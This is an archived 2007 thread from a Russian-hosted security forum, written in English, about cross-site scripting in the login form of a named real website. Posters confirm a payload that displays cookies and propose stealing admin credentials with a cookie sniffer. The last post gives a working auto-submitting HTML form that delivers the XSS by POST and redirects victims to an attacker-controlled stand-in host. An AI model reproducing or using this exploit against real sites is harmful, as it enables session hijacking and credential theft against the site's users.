ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
11.11.2007, 20:06
|
|
Постоянный
Регистрация: 23.09.2007
Сообщений: 416
Провел на форуме:
1781065
Репутация:
869
|
|
another question for xss
well
if u try to put some string like this
Код:
"><script>alert(document.cookie)</script>
on nick+login in that site
http://www.proplay.ru/
result:
Another site:
my question:
You think that can be exploitable? |
|
|
11.11.2007, 20:55
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777
Репутация:
2642
|
|
Just if request method is get, because method post is invisible.
|
|
|
|
11.11.2007, 21:14
|
|
Постоянный
Регистрация: 23.09.2007
Сообщений: 416
Провел на форуме:
1781065
Репутация:
869
|
|
I have found many site vulnerable to xss on admin (user) login,and I think that using some cookie sniffer can be done something.
thx for your answer Mr.NOmeR1 (you are right)  |
|
|
|
16.11.2007, 14:57
|
|
Участник форума
Регистрация: 14.08.2007
Сообщений: 150
Провел на форуме:
686641
Репутация:
205
|
|
Even if the request method is post, you can write a PHP script to post the data, and it will be still exploitable. If I am wrong, correct me =)
|
|
|
|
16.11.2007, 15:02
|
|
Banned
Регистрация: 03.08.2007
Сообщений: 313
Провел на форуме:
951141
Репутация:
291
|
|
you can use post (it will be better)
you can get admin's passwd ( use javascript)
sorry for my english
|
|
|
|
16.11.2007, 19:54
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062
Репутация:
1079
|
|
Сообщение от ~EviL~
Even if the request method is post, you can write a PHP script to post the data, and it will be still exploitable. If I am wrong, correct me =)
You're right, but there isn't a neccessity to write php script, you can use just javascript and html
|
|
|
|
16.11.2007, 21:31
|
|
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме:
4155100
Репутация:
2033
|
|
http://www.proplay.ru/
- method GET not supported
- no referer-control
http://yourhost.xz/g.html - link with XSS-exploit
file g.html
Код:
<body onload='document.forms[0].submit()'>
<form method="post" action="http://www.proplay.ru/users/login/">
<input name="name" value='"><script>alert(document.cookie);document.location.href=\"http://yourhost.xz/q.html\";</script>' style="visibility:hidden;display:none">
</form>
redirect -->> q.html with any content
Another site -->> by analogy
|
|
|
|
|
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
noob question - SQL
|
GaLLe0n |
PHP, PERL, MySQL, JavaScript |
6 |
04.11.2006 21:18 |
|
Question about c99 shell
|
core |
Forum for discussion of ANTICHAT |
1 |
24.05.2006 18:20 |
|
question
|
ShitHappens |
E-Mail |
34 |
23.03.2006 14:54 |
|
ipb question
|
caffine2 |
Forum for discussion of ANTICHAT |
4 |
27.12.2005 21:28 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
